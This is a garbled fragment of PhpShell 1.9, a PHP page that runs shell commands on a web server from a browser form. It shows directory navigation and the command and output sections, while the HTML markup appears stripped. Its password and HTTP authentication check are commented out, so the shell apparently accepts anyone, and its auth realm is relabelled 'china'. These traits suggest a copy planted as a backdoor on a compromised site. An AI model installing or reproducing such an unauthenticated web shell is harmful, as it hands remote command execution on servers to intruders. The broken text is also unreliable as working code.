'password'); You can add several pairs of usernames and passwords to the array to give several different people access to PhpShell. $passwd = array('username_1' => 'password_1', 'username_2' => 'password_2', // ... 'username_n' => 'password_n'); */ /*$passwd = array(); if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($passwd[$_SERVER['PHP_AUTH_USER']]) || $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) { header('WWW-Authenticate: Basic realm="china"'); header('HTTP/1.0 401 Unauthorized'); $authenticated = false; } else { $authenticated = true; } header('Content-Type: text/html; charset=UTF-8'); /* Since most installations still operate with short_open_tag enabled, * we have to echo this string from within PHP: */ echo '' . "\n"; ?> PhpShell 1.9

PhpShell 1.9

You failed to authenticate yourself to PhpShell. You can reload to try again.

Try reading the INSTALL file if you're having problems with installing PhpShell.

Input

Current working directory: Root/'; if (!empty($work_dir_splitted[0])) { $path = ''; for ($i = 0; $i < count($work_dir_splitted); $i++) { $path .= '/' . $work_dir_splitted[$i]; printf('%s/', $_SERVER['PHP_SELF'], urlencode($path), $work_dir_splitted[$i]); } } ?>

Choose new working directory:

Command:

Enable stderr-trapping? />

Output


Copyright © 2000–2003, Martin Geisler. Get the latest version at www.gimpster.com/wiki/PhpShell.

Valid XHTML 1.0 Strict! Valid CSS!